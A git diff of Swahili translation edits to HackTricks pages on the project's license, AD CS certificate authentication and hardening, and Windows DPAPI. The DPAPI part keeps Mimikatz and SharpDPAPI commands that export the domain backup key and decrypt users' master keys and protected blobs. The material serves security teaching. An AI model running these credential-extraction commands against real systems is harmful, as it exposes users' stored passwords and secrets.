@ -74,21 +74,21 @@ Ikiwa unahofia kwamba itatoweka, tu fork kwenye Github au uipakue, kama nilivyos
Thamani ya kwanza ya **HackTricks** ni kutoa rasilimali za elimu za **BURE** za hacking kwa **DUNIA YOTE**. Timu ya HackTricks imejitolea **masaa maelfu** kutoa maudhui haya, tena, **BURE**.
Ikiwa unafikiri vitabu vya HackTricks vimeandikwa kwa **madhumuni ya kibiashara** uko **KABISA KOSA**.
Ikiwa unafikiri vitabu vya HackTricks vimeandaliwa kwa **madhumuni ya kibiashara** uko **KABISA KOSA**.
Tuna wadhamini kwa sababu, hata kama maudhui yote ni BURE, tunataka **kutoa jamii fursa ya kuthamini kazi yetu** ikiwa wanataka. Hivyo, tunawapa watu chaguo la kuchangia HackTricks kupitia [**wadhamini wa Github**](https://github.com/sponsors/carlospolop), na **makampuni muhimu ya usalama wa mtandao** kudhamini HackTricks na **kuwa na matangazo** katika kitabu, ambapo **matangazo** yanawekwa katika maeneo yanayofanya kuwa **naonekana** lakini **hayakoseshi mchakato wa kujifunza** ikiwa mtu anazingatia maudhui.
Tuna wadhamini kwa sababu, hata kama maudhui yote ni BURE, tunataka **kutoa jamii fursa ya kuthamini kazi yetu** ikiwa wanataka. Kwa hivyo, tunawapa watu chaguo la kuchangia HackTricks kupitia [**wadhamini wa Github**](https://github.com/sponsors/carlospolop), na **makampuni muhimu ya usalama wa mtandao** kudhamini HackTricks na **kuwa na matangazo** katika kitabu, ambapo **matangazo** yanawekwa katika maeneo yanayofanya kuwa **naonekana** lakini **hayakoseshi mchakato wa kujifunza** ikiwa mtu anazingatia maudhui.
Hautapata HackTricks imejaa matangazo ya annoying kama blogu nyingine zenye maudhui kidogo kuliko HackTricks, kwa sababu HackTricks haijaundwa kwa madhumuni ya kibiashara.
Hautapata HackTricks imejaa matangazo ya annoying kama blogu nyingine zenye maudhui kidogo kuliko HackTricks, kwa sababu HackTricks haijandikwa kwa madhumuni ya kibiashara.
> [!CAUTION]
>
> - **Nifanye nini ikiwa ukurasa fulani wa HackTricks unategemea chapisho langu la blogu lakini haujarejelewa?**
**Tunaomba radhi sana. Hii haikupaswa kutokea**. Tafadhali, tujulishe kupitia masuala ya Github, Twitter, Discord... kiungo cha ukurasa wa HackTricks wenye maudhui na kiungo cha blogu yako na **tutakagua na kuongeza ASAP**.
**Tunajuta sana. Hii haikupaswa kutokea**. Tafadhali, tujulishe kupitia masuala ya Github, Twitter, Discord... kiungo cha ukurasa wa HackTricks wenye maudhui na kiungo cha blogu yako na **tutakagua na kuongeza ASAP**.
> [!CAUTION]
>
> - **Nifanye nini ikiwa kuna maudhui kutoka kwa blogu yangu katika HackTricks na sitaki iwepo hapo?**
> - **Nifanye nini ikiwa kuna maudhui kutoka kwa blogu yangu katika HackTricks na sitaki iwepo?**
Kumbuka kwamba kuwa na viungo kwenye ukurasa wako katika HackTricks:
@ -96,7 +96,7 @@ Kumbuka kwamba kuwa na viungo kwenye ukurasa wako katika HackTricks:
- Maudhui yanapata **kutafsiriwa kwa zaidi ya lugha 15** ikifanya iwezekane kwa watu wengi kufikia maudhui haya
- **HackTricks inahamasisha** watu **kuangalia ukurasa wako** (watu kadhaa wametujulisha kwamba tangu ukurasa wao uwe katika HackTricks wanapata ziara zaidi)
Hata hivyo, ikiwa bado unataka maudhui ya blogu yako yaondolewe kutoka HackTricks tu tujulishe na bila shaka tutafuta **kila kiungo kwa blogu yako**, na maudhui yoyote yanayotegemea hiyo.
Hata hivyo, ikiwa bado unataka maudhui ya blogu yako yaondolewe kutoka HackTricks tafadhali tujulishe na bila shaka **tutaondoa kila kiungo kwa blogu yako**, na maudhui yoyote yanayotegemea hiyo.
> [!CAUTION]
>
@ -110,34 +110,34 @@ Copyright © Haki zote zimehifadhiwa isipokuwa kama vinginevyo imeelezwa.
#### Muhtasari wa Leseni:
- Kutambua: Una uhuru wa:
- Kushiriki — kunakili na kugawa nyenzo katika njia yoyote au muundo.
- Attributio: Una uhuru wa:
- Kushiriki — kunakili na kusambaza nyenzo katika njia yoyote au muundo.
- Kubadilisha — kuchanganya, kubadilisha, na kujenga juu ya nyenzo.
#### Masharti ya Ziada:
- Maudhui ya Watu wa Tatu: Sehemu zingine za blogu hii/kitabu zinaweza kujumuisha maudhui kutoka vyanzo vingine, kama vile nukuu kutoka blogu nyingine au machapisho. Matumizi ya maudhui kama hayo yanafanywa chini ya kanuni za matumizi ya haki au kwa ruhusa wazi kutoka kwa wamiliki wa hakimiliki husika. Tafadhali rejelea vyanzo vya asili kwa habari maalum za leseni kuhusu maudhui ya watu wa tatu.
- Uandishi: Maudhui ya asili yaliyoandikwa na HackTricks yanategemea masharti ya leseni hii. Unahimizwa kutambua kazi hii kwa mwandishi unaposhiriki au kubadilisha.
- Maudhui ya Watu wa Tatu: Sehemu zingine za blogu/hiki kitabu zinaweza kujumuisha maudhui kutoka vyanzo vingine, kama vile nukuu kutoka blogu au machapisho mengine. Matumizi ya maudhui kama haya yanafanywa chini ya kanuni za matumizi ya haki au kwa ruhusa wazi kutoka kwa wamiliki wa hakimiliki husika. Tafadhali rejelea vyanzo vya asili kwa habari maalum za leseni kuhusu maudhui ya watu wa tatu.
- Uandishi: Maudhui ya asili yaliyoandikwa na HackTricks yanategemea masharti ya leseni hii. Unahimizwa kutoa sifa kwa kazi hii unaposhiriki au kubadilisha.
#### Utoaji:
#### Uondoaji:
- Matumizi ya Kibiashara: Kwa maswali kuhusu matumizi ya kibiashara ya maudhui haya, tafadhali wasiliana nami.
Leseni hii haitoi haki yoyote ya alama ya biashara au haki za chapa kuhusiana na maudhui. Alama zote za biashara na chapa zilizomo katika blogu hii/kitabu ni mali ya wamiliki wao husika.
Leseni hii haitoi haki yoyote ya alama ya biashara au haki za chapa kuhusiana na maudhui. Alama zote za biashara na chapa zilizomo katika blogu/hiki kitabu ni mali ya wamiliki wao husika.
**Kwa kufikia au kutumia HackTricks, unakubali kufuata masharti ya leseni hii. Ikiwa hukubaliani na masharti haya, tafadhali, usifike kwenye tovuti hii.**
## **Kanusho**
> [!CAUTION]
> Kitabu hiki, 'HackTricks,' kinakusudiwa kwa madhumuni ya elimu na taarifa pekee. Maudhui ndani ya kitabu hiki yanatolewa kwa msingi wa 'kama ilivyo', na waandishi na wachapishaji hawatoi uwakilishi au dhamana yoyote, wazi au fiche, kuhusu ukamilifu, usahihi, uaminifu, kufaa, au upatikanaji wa habari, bidhaa, huduma, au picha zinazohusiana zilizomo ndani ya kitabu hiki. Kila unavyotegemea habari kama hiyo ni kwa hatari yako mwenyewe.
> Hiki kitabu, 'HackTricks,' kinakusudiwa kwa madhumuni ya elimu na taarifa pekee. Maudhui ndani ya hiki kitabu yanatolewa kwa msingi wa 'kama ilivyo', na waandishi na wachapishaji hawatoi uwakilishi au dhamana yoyote, wazi au fiche, kuhusu ukamilifu, usahihi, uaminifu, kufaa, au upatikanaji wa habari, bidhaa, huduma, au picha zinazohusiana zilizomo ndani ya hiki kitabu. Kila unavyotegemea habari kama hiyo ni kwa hatari yako mwenyewe.
>
> Waandishi na wachapishaji hawatakuwa na jukumu lolote kwa hasara au uharibifu wowote, ikiwa ni pamoja na bila kikomo, hasara au uharibifu wa moja kwa moja au wa matokeo, au hasara au uharibifu wowote unaotokana na kupoteza data au faida zinazotokana na, au kuhusiana na, matumizi ya kitabu hiki.
> Waandishi na wachapishaji hawatakuwa na jukumu lolote kwa hasara au uharibifu wowote, ikiwa ni pamoja na bila kikomo, hasara au uharibifu wa moja kwa moja au wa matokeo, au hasara au uharibifu wowote unaotokana na kupoteza data au faida zinazotokana na, au kuhusiana na, matumizi ya hiki kitabu.
>
> Zaidi ya hayo, mbinu na vidokezo vilivyoelezewa katika kitabu hiki vinatolewa kwa madhumuni ya elimu na taarifa pekee, na havipaswi kutumika kwa shughuli zozote zisizo za kisheria au za uhalifu. Waandishi na wachapishaji hawakubali wala kuunga mkono shughuli zozote zisizo za kisheria au zisizo za maadili, na matumizi yoyote ya habari iliyomo ndani ya kitabu hiki ni kwa hatari na uamuzi wa mtumiaji.
> Zaidi ya hayo, mbinu na vidokezo vilivyoelezewa katika hiki kitabu vinatolewa kwa madhumuni ya elimu na taarifa pekee, na havipaswi kutumika kwa shughuli zozote zisizo za kisheria au za uhalifu. Waandishi na wachapishaji hawakubali wala kuunga mkono shughuli zozote zisizo za kisheria au zisizo za maadili, na matumizi yoyote ya habari iliyomo ndani ya hiki kitabu ni kwa hatari na uamuzi wa mtumiaji.
>
> Mtumiaji ndiye mwenye jukumu pekee kwa hatua zozote zinazochukuliwa kulingana na habari iliyomo ndani ya kitabu hiki, na inapaswa kila wakati kutafuta ushauri wa kitaalamu na msaada wanapojaribu kutekeleza mbinu au vidokezo vyovyote vilivyoelezewa hapa.
> Mtumiaji ndiye mwenye jukumu pekee kwa hatua zozote zinazochukuliwa kulingana na habari iliyomo ndani ya hiki kitabu, na inashauriwa kila wakati kutafuta ushauri wa kitaalamu na msaada wakati wa kujaribu kutekeleza mbinu au vidokezo vyovyote vilivyoelezewa hapa.
>
> Kwa kutumia kitabu hiki, mtumiaji anakubali kuachilia waandishi na wachapishaji kutoka kwa dhima na wajibu wowote kwa uharibifu, hasara, au madhara yoyote yanayoweza kutokea kutokana na matumizi ya kitabu hiki au maudhui yoyote yaliyomo ndani yake.
> Kwa kutumia hiki kitabu, mtumiaji anakubali kuachilia waandishi na wachapishaji kutoka kwa dhima na wajibu wowote kwa uharibifu, hasara, au madhara ambayo yanaweza kutokea kutokana na matumizi ya hiki kitabu au maudhui yoyote yaliyomo ndani yake.
{{#include ../banners/hacktricks-training.md}}

View File

@ -8,12 +8,12 @@
- **Mada** ya cheti inaonyesha mmiliki wake.
- **Funguo za Umma** zimeunganishwa na funguo za kibinafsi ili kuunganisha cheti na mmiliki wake halali.
- **Muda wa Uhalali**, unaofafanuliwa na tarehe za **NotBefore** na **NotAfter**, inaashiria muda wa ufanisi wa cheti.
- **Muda wa Uhalali**, ulioainishwa na tarehe za **NotBefore** na **NotAfter**, unaashiria muda wa ufanisi wa cheti.
- Nambari ya **Serial** ya kipekee, inayotolewa na Mamlaka ya Cheti (CA), inatambulisha kila cheti.
- **Mtoaji** inahusisha CA ambayo imetoa cheti.
- **SubjectAlternativeName** inaruhusu majina ya ziada kwa mada, ikiongeza kubadilika kwa utambuzi.
- **Mipaka ya Msingi** inatambua ikiwa cheti ni kwa CA au kitengo cha mwisho na kufafanua vizuizi vya matumizi.
- **Matumizi ya Funguo ya Kupanuliwa (EKUs)** yanabainisha madhumuni maalum ya cheti, kama vile kusaini msimbo au usimbaji wa barua pepe, kupitia Vitambulisho vya Kitu (OIDs).
- **Misingi ya Msingi** inatambulisha ikiwa cheti ni kwa CA au kitengo cha mwisho na kuainisha vizuizi vya matumizi.
- **Matumizi ya Funguo ya Kupanuliwa (EKUs)** yanaelezea madhumuni maalum ya cheti, kama vile kusaini msimbo au usimbaji wa barua pepe, kupitia Vitambulisho vya Kitu (OIDs).
- **Algorithimu ya Sahihi** inaelezea njia ya kusaini cheti.
- **Sahihi**, iliyoundwa kwa funguo ya kibinafsi ya mtoaji, inahakikisha uhalali wa cheti.
@ -23,12 +23,12 @@
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS inatambua cheti za CA katika msitu wa AD kupitia vyombo vilivyotengwa, kila moja ikihudumu majukumu ya kipekee:
AD CS inatambua cheti za CA katika msitu wa AD kupitia kontena zilizotengwa, kila moja ikihudumu majukumu ya kipekee:
- **Mamlaka za Cheti** chombo kinashikilia cheti za CA za mizizi zinazotegemewa.
- **Huduma za Usajili** chombo kinaelezea CA za Biashara na templeti zao za cheti.
- **NTAuthCertificates** kitu kinajumuisha cheti za CA zilizoidhinishwa kwa uthibitishaji wa AD.
- **AIA (Upatikanaji wa Taarifa za Mamlaka)** chombo kinasaidia uthibitishaji wa mnyororo wa cheti na cheti za CA za kati na za msalaba.
- Kontena la **Mamlaka ya Cheti** lina cheti za CA za mizizi zinazotegemewa.
- Kontena la **Huduma za Usajili** linaelezea CA za Biashara na templeti zao za cheti.
- Kituo cha **NTAuthCertificates** kinajumuisha cheti za CA zilizoidhinishwa kwa uthibitishaji wa AD.
- Kontena la **AIA (Upatikanaji wa Taarifa za Mamlaka)** linawezesha uthibitishaji wa mnyororo wa cheti na cheti za CA za kati na za msalaba.
### Certificate Acquisition: Client Certificate Request Flow
@ -39,20 +39,20 @@ AD CS inatambua cheti za CA katika msitu wa AD kupitia vyombo vilivyotengwa, kil
### Certificate Templates
Zimefafanuliwa ndani ya AD, templeti hizi zinaelezea mipangilio na ruhusa za kutoa vyeti, ikiwa ni pamoja na EKUs zinazoruhusiwa na haki za usajili au mabadiliko, muhimu kwa usimamizi wa ufikiaji wa huduma za cheti.
Zimeainishwa ndani ya AD, templeti hizi zinaelezea mipangilio na ruhusa za kutoa cheti, ikiwa ni pamoja na EKUs zinazoruhusiwa na haki za usajili au mabadiliko, muhimu kwa usimamizi wa ufikiaji wa huduma za cheti.
## Certificate Enrollment
Mchakato wa usajili wa vyeti huanzishwa na msimamizi ambaye **anaunda templeti ya cheti**, ambayo kisha **inasambazwa** na Mamlaka ya Cheti ya Biashara (CA). Hii inafanya templeti kuwa inapatikana kwa usajili wa mteja, hatua inayofikiwa kwa kuongeza jina la templeti kwenye uwanja wa `certificatetemplates` wa kitu cha Active Directory.
Mchakato wa usajili wa cheti unanzishwa na msimamizi ambaye **anaunda templeti ya cheti**, ambayo kisha **inasambazwa** na Mamlaka ya Cheti ya Biashara (CA). Hii inafanya templeti ipatikane kwa usajili wa mteja, hatua inayofikiwa kwa kuongeza jina la templeti kwenye uwanja wa `certificatetemplates` wa kitu cha Active Directory.
Ili mteja aombe cheti, **haki za usajili** lazima zipewe. Haki hizi zinafafanuliwa na waelekezi wa usalama kwenye templeti ya cheti na CA ya Biashara yenyewe. Ruhusa lazima zipewe katika maeneo yote mawili ili ombi liwe na mafanikio.
Ili mteja aombe cheti, **haki za usajili** lazima zipewe. Haki hizi zinaainishwa na waelekezi wa usalama kwenye templeti ya cheti na CA ya Biashara yenyewe. Ruhusa lazima zipewe katika maeneo yote mawili ili ombi liwe na mafanikio.
### Template Enrollment Rights
Haki hizi zinaelezwa kupitia Kuingilia kwa Udhibiti wa Ufikiaji (ACEs), zikifafanua ruhusa kama:
Haki hizi zinaainishwa kupitia Kuingilia kwa Udhibiti wa Ufikiaji (ACEs), zikielezea ruhusa kama:
- Haki za **Usajili wa Cheti** na **Usajili wa Cheti wa Otomatiki**, kila moja ikihusishwa na GUID maalum.
- **Haki za Kupanuliwa**, zikiruhusu ruhusa zote za ziada.
- Haki za **Usajili wa Cheti** na **Usajili wa Cheti wa Kiotomatiki**, kila moja ikihusishwa na GUID maalum.
- **Haki za Kupanuliwa**, zikiruhusu ruhusa zote za kupanuliwa.
- **Udhibiti Kamili/GenericAll**, ukitoa udhibiti kamili juu ya templeti.
### Enterprise CA Enrollment Rights
@ -61,22 +61,22 @@ Haki za CA zinaelezwa katika waelekezi wake wa usalama, zinazopatikana kupitia c
### Additional Issuance Controls
Madhara fulani yanaweza kutumika, kama vile:
Madhara fulani yanaweza kutumika, kama:
- **Idhini ya Meneja**: Inatia maombi katika hali ya kusubiri hadi idhini itolewe na meneja wa cheti.
- **Wakala wa Usajili na Sahihi Zilizothibitishwa**: Zinaelezea idadi ya sahihi zinazohitajika kwenye CSR na OIDs za Sera ya Maombi zinazohitajika.
- **Wakala wa Usajili na Sahihi Zilizothibitishwa**: Kuainisha idadi ya sahihi zinazohitajika kwenye CSR na OIDs za Sera ya Maombi zinazohitajika.
### Methods to Request Certificates
Vyeti vinaweza kuombwa kupitia:
Cheti zinaweza kuombwa kupitia:
1. **Protokali ya Usajili wa Cheti ya Mteja wa Windows** (MS-WCCE), ikitumia interfaces za DCOM.
2. **Protokali ya ICertPassage Remote** (MS-ICPR), kupitia mabomba yaliyopewa majina au TCP/IP.
3. Kiolesura cha wavuti cha **usajili wa cheti**, na jukumu la Usajili wa Wavuti wa Mamlaka ya Cheti lililosakinishwa.
3. Kiolesura cha **mtandao wa usajili wa cheti**, ikiwa na jukumu la Usajili wa Mtandao wa Mamlaka ya Cheti.
4. **Huduma ya Usajili wa Cheti** (CES), kwa kushirikiana na huduma ya Sera ya Usajili wa Cheti (CEP).
5. **Huduma ya Usajili wa Vifaa vya Mtandao** (NDES) kwa vifaa vya mtandao, ikitumia Protokali ya Usajili wa Cheti Rahisi (SCEP).
Watumiaji wa Windows wanaweza pia kuomba vyeti kupitia GUI (`certmgr.msc` au `certlm.msc`) au zana za mistari ya amri (`certreq.exe` au amri ya PowerShell `Get-Certificate`).
Watumiaji wa Windows pia wanaweza kuomba cheti kupitia GUI (`certmgr.msc` au `certlm.msc`) au zana za mistari ya amri (`certreq.exe` au amri ya PowerShell `Get-Certificate`).
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
@ -87,13 +87,13 @@ Active Directory (AD) inasaidia uthibitisho wa cheti, hasa ikitumia **Kerberos**
### Mchakato wa Uthibitisho wa Kerberos
Katika mchakato wa uthibitisho wa Kerberos, ombi la mtumiaji la Tiketi ya Kutoa Tiketi (TGT) linatiwa saini kwa kutumia **funguo ya faragha** ya cheti cha mtumiaji. Ombi hili hupitia uthibitisho kadhaa na msimamizi wa eneo, ikiwa ni pamoja na **uhalali** wa cheti, **njia**, na **hali ya kufutwa**. Uthibitisho pia unajumuisha kuangalia kwamba cheti kinatoka kwa chanzo kinachotegemewa na kuthibitisha uwepo wa mtoaji katika **duka la cheti la NTAUTH**. Uthibitisho uliofanikiwa unapelekea utoaji wa TGT. Kitu cha **`NTAuthCertificates`** katika AD, kinapatikana kwenye:
Katika mchakato wa uthibitisho wa Kerberos, ombi la mtumiaji la Tiketi ya Kutoa Tiketi (TGT) linatiwa saini kwa kutumia **funguo ya faragha** ya cheti cha mtumiaji. Ombi hili hupitia uthibitisho kadhaa na msimamizi wa eneo, ikiwa ni pamoja na **halali** ya cheti, **njia**, na **hali ya kufutwa**. Uthibitisho pia unajumuisha kuangalia kwamba cheti kinatoka kwa chanzo kinachotegemewa na kuthibitisha uwepo wa mtoaji katika **duka la cheti la NTAUTH**. Uthibitisho uliofanikiwa unapelekea utoaji wa TGT. Kitu cha **`NTAuthCertificates`** katika AD, kinachopatikana kwenye:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
ni muhimu katika kuanzisha uaminifu kwa uthibitishaji wa cheti.
### Uthibitishaji wa Kituo Salama (Schannel)
### Uthibitishaji wa Kanal Salama (Schannel)
Schannel inarahisisha muunganisho salama wa TLS/SSL, ambapo wakati wa mkutano, mteja anawasilisha cheti ambacho, ikiwa kimefanikiwa kuthibitishwa, kinatoa ruhusa ya ufikiaji. Mchoro wa cheti kwa akaunti ya AD unaweza kujumuisha kazi ya Kerberos **S4U2Self** au **Subject Alternative Name (SAN)** ya cheti, kati ya mbinu nyingine.
@ -124,9 +124,9 @@ certutil -v -dstemplate
| Mwaka | ID / Jina | Athari | Mambo Muhimu |
|-------|-----------|--------|---------------|
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Kuongeza mamlaka* kwa kudanganya vyeti vya akaunti za mashine wakati wa PKINIT. | Patch imejumuishwa katika sasisho za usalama za **Machi 10 2022**. Ukaguzi & udhibiti wa nguvu za ramani zilianzishwa kupitia **KB5014754**; mazingira yanapaswa sasa kuwa katika hali ya *Utekelezaji Kamili*. citeturn2search0 |
| 2023 | **CVE-2023-35350 / 35351** | *Utendaji wa msimbo wa mbali* katika AD CS Web Enrollment (certsrv) na majukumu ya CES. | PoCs za umma ni chache, lakini vipengele vya IIS vilivyo hatarini mara nyingi vinakabiliwa ndani. Patch kuanzia **Julai 2023** Patch Jumanne. citeturn3search0 |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Watumiaji wenye mamlaka ya chini walio na haki za kujiandikisha wanaweza kubadilisha **yoyote** EKU au SAN wakati wa uzalishaji wa CSR, kutoa vyeti vinavyoweza kutumika kwa uthibitishaji wa mteja au kusaini msimbo na kusababisha *kuvunjika kwa eneo*. | Imetatuliwa katika sasisho za **Aprili 2024**. Ondoa “Weka katika ombi” kutoka kwa templeti na punguza ruhusa za kujiandikisha. citeturn1search3 |
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Kuongeza mamlaka* kwa kudanganya vyeti vya akaunti za mashine wakati wa PKINIT. | Patch imejumuishwa katika sasisho za usalama za **Machi 10 2022**. Ukaguzi & udhibiti wa nguvu za ramani zilianzishwa kupitia **KB5014754**; mazingira yanapaswa sasa kuwa katika hali ya *Utekelezaji Kamili*. |
| 2023 | **CVE-2023-35350 / 35351** | *Utendaji wa msimbo wa mbali* katika AD CS Web Enrollment (certsrv) na majukumu ya CES. | PoCs za umma ni chache, lakini vipengele vya IIS vilivyo hatarini mara nyingi vinakabiliwa ndani. Patch kuanzia **Julai 2023** Patch Jumanne. |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Watumiaji wenye mamlaka ya chini walio na haki za kujiandikisha wanaweza kubadilisha **yoyote** EKU au SAN wakati wa uzalishaji wa CSR, kutoa vyeti vinavyoweza kutumika kwa uthibitishaji wa mteja au kusaini msimbo na kusababisha *kuvunjika kwa eneo*. | Imetatuliwa katika sasisho za **Aprili 2024**. Ondoa “Weka katika ombi” kutoka kwa templeti na punguza ruhusa za kujiandikisha. |
### Muda wa kuimarisha wa Microsoft (KB5014754)
@ -134,18 +134,18 @@ Microsoft ilianzisha utaratibu wa hatua tatu (Ulinganifu → Ukaguzi → Utekele
1. Patch DC zote & seva za AD CS (Machi 2022 au baadaye).
2. Fuata Kitambulisho cha Tukio 39/41 kwa ramani dhaifu wakati wa hatua ya *Ukaguzi*.
3. Toa tena vyeti vya uthibitishaji wa mteja na **kiendelezi kipya cha SID** au weka ramani za nguvu za mikono kabla ya Februari 2025. citeturn2search0
3. Toa tena vyeti vya uthibitishaji wa mteja na **nyongeza mpya ya SID** au weka ramani za nguvu za mikono kabla ya Februari 2025.
---
## Ugunduzi & Uboreshaji wa Kuimarisha
## Ugunduzi & Uimarishaji wa Maboresho
* **Defender for Identity AD CS sensor (2023-2024)** sasa inaonyesha tathmini za hali kwa ESC1-ESC8/ESC11 na inazalisha arifa za wakati halisi kama *“Utoaji wa cheti cha msimamizi wa eneo kwa DC asiye DC”* (ESC8) na *“Zuia Uandikishaji wa Cheti na Sera za Maombi zisizo na mipaka”* (ESC15). Hakikisha sensa zimewekwa kwenye seva zote za AD CS ili kufaidika na ugunduzi huu. citeturn5search0
* **Defender for Identity AD CS sensor (2023-2024)** sasa inaonyesha tathmini za hali kwa ESC1-ESC8/ESC11 na inazalisha arifa za wakati halisi kama *“Utoaji wa cheti cha msimamizi wa eneo kwa DC isiyo ya DC”* (ESC8) na *“Zuia Uandikishaji wa Cheti na Sera za Maombi zisizo na mipaka”* (ESC15). Hakikisha sensa zimewekwa kwenye seva zote za AD CS ili kufaidika na ugunduzi huu.
* Zima au punguza kwa karibu chaguo la **“Weka katika ombi”** kwenye templeti zote; pendelea thamani za SAN/EKU zilizofafanuliwa wazi.
* Ondoa **Madhumuni Yoyote** au **Hakuna EKU** kutoka kwa templeti isipokuwa inahitajika kabisa (inashughulikia hali za ESC2).
* Hitaji **idhini ya meneja** au michakato ya Wakala wa Uandikishaji iliyotengwa kwa templeti nyeti (mfano, WebServer / CodeSigning).
* Hitaji **idhini ya meneja** au michakato ya Uwakilishi wa Uandikishaji kwa templeti nyeti (mfano, WebServer / CodeSigning).
* Punguza uandikishaji wa wavuti (`certsrv`) na mwisho wa CES/NDES kwa mitandao ya kuaminika au nyuma ya uthibitishaji wa cheti cha mteja.
* Tekeleza usimbuaji wa uandikishaji wa RPC (`certutil setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`) ili kupunguza ESC11.
* Tekeleza usimbaji wa uandikishaji wa RPC (`certutil setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`) ili kupunguza ESC11.
---

View File

@ -14,16 +14,16 @@ Zaidi ya hayo, kazi hizi pia zinakubali **`entropy` parameter** ambayo pia itatu
### Uundaji wa funguo za Watumiaji
DPAPI inaunda funguo ya kipekee (inayoitwa **`pre-key`**) kwa kila mtumiaji kulingana na akidi zao. Funguo hii inatokana na nenosiri la mtumiaji na mambo mengine na algorithimu inategemea aina ya mtumiaji lakini inamalizika kuwa SHA1. Kwa mfano, kwa watumiaji wa kikoa, **inategemea HTLM hash ya mtumiaji**.
DPAPI inaunda funguo maalum (inayoitwa **`pre-key`**) kwa kila mtumiaji kulingana na akidi zao. Funguo hii inatokana na nywila ya mtumiaji na mambo mengine na algorithimu inategemea aina ya mtumiaji lakini inamalizika kuwa SHA1. Kwa mfano, kwa watumiaji wa kikoa, **inategemea HTLM hash ya mtumiaji**.
Hii ni ya kuvutia hasa kwa sababu ikiwa mshambuliaji anaweza kupata hash ya nenosiri la mtumiaji, wanaweza:
Hii ni ya kuvutia hasa kwa sababu ikiwa mshambuliaji anaweza kupata hash ya nywila ya mtumiaji, wanaweza:
- **Kufungua data yoyote iliyosimbwa kwa kutumia DPAPI** kwa funguo ya mtumiaji huyo bila kuhitaji kuwasiliana na API yoyote
- Jaribu **kufungua nenosiri** bila mtandaoni wakijaribu kuunda funguo halali ya DPAPI
- Jaribu **kufungua nywila** bila mtandaoni wakijaribu kuunda funguo halali ya DPAPI
Zaidi ya hayo, kila wakati data fulani inaposimbwa na mtumiaji kwa kutumia DPAPI, funguo mpya ya **master key** inaundwa. Funguo hii ya master ndiyo inayotumika kwa kweli kusimbia data. Kila funguo ya master inatolewa na **GUID** (Globally Unique Identifier) inayoiainisha.
Zaidi ya hayo, kila wakati data fulani inaposimbwa na mtumiaji kwa kutumia DPAPI, funguo mpya ya **master key** inaundwa. Funguo hii ya master ndiyo inayotumika kweli kusimbia data. Kila funguo ya master inatolewa na **GUID** (Globally Unique Identifier) inayoiainisha.
Funguo za master zinahifadhiwa katika **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** directory, ambapo `{SID}` ni Kitambulisho cha Usalama wa mtumiaji huyo. Funguo ya master inahifadhiwa ikiwa imefungwa na **`pre-key`** ya mtumiaji na pia na **funguo ya akiba ya kikoa** kwa ajili ya urejeleaji (hivyo funguo hiyo hiyo inahifadhiwa ikiwa imefungwa mara 2 na nywila 2 tofauti).
Funguo za master zinahifadhiwa katika **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** directory, ambapo `{SID}` ni Kitambulisho cha Usalama wa mtumiaji huyo. Funguo ya master inahifadhiwa ikiwa imefungwa na **`pre-key`** ya mtumiaji na pia na **funguo ya akiba ya kikoa** kwa ajili ya urejeleaji (hivyo funguo hiyo hiyo inahifadhiwa ikiwa imefungwa mara 2 kwa nywila 2 tofauti).
Kumbuka kwamba **funguo ya kikoa inayotumika kusimbia funguo ya master iko kwenye wasimamizi wa kikoa na haitabadilika kamwe**, hivyo ikiwa mshambuliaji ana ufikiaji wa msimamizi wa kikoa, wanaweza kupata funguo ya akiba ya kikoa na kufungua funguo za master za watumiaji wote katika kikoa.
@ -47,7 +47,7 @@ Hii ndiyo inavyoonekana kwa funguo nyingi za Mwalimu wa mtumiaji:
### Uundaji wa funguo za Mashine/System
Hii ni funguo inayotumika kwa mashine kuandika data. Inategemea **DPAPI_SYSTEM LSA secret**, ambayo ni funguo maalum ambayo ni lazima mtumiaji wa SYSTEM aweze kuipata. Funguo hii inatumika kuandika data ambayo inahitaji kupatikana na mfumo wenyewe, kama vile akreditif za kiwango cha mashine au siri za mfumo mzima.
Hii ni funguo inayotumika kwa mashine kuandika data. Inategemea **DPAPI_SYSTEM LSA secret**, ambayo ni funguo maalum ambayo ni ya mtumiaji wa SYSTEM pekee. Funguo hii inatumika kuandika data ambayo inahitaji kupatikana na mfumo wenyewe, kama vile akreditif za kiwango cha mashine au siri za mfumo mzima.
Kumbuka kwamba funguo hizi **hazina nakala ya eneo** hivyo zinapatikana tu kwa ndani:
@ -74,7 +74,7 @@ Data iliyo hifadhiwa na mfumo inajumuisha:
### Chaguzi za kutoa funguo za Mwalimu
- Ikiwa mtumiaji ana ruhusa za msimamizi wa eneo, wanaweza kupata **funguo ya nakala ya eneo** ili kufungua funguo zote za Mwalimu wa mtumiaji katika eneo:
- Ikiwa mtumiaji ana ruhusa za msimamizi wa eneo, wanaweza kupata **funguo ya nakala ya eneo** ili kufungua funguo zote za mwalimu wa mtumiaji katika eneo:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -174,7 +174,7 @@ pbData : b8f619[...snip...]b493fe
```
- **Fikia masterkeys**:
Fungua masterkey ya mtumiaji anayeomba **domain backup key** kwa kutumia RPC:
Fungua masterkey ya mtumiaji anayeomba **funguo za akiba za domain** kwa kutumia RPC:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -234,7 +234,7 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
Baadhi ya programu hupitisha thamani ya ziada ya **entropy** kwa `CryptProtectData`. Bila thamani hii, blob haiwezi kufichuliwa, hata kama funguo kuu sahihi inajulikana. Kupata entropy ni muhimu wakati wa kulenga akidi zilizolindwa kwa njia hii (kwa mfano, Microsoft Outlook, baadhi ya wateja wa VPN).
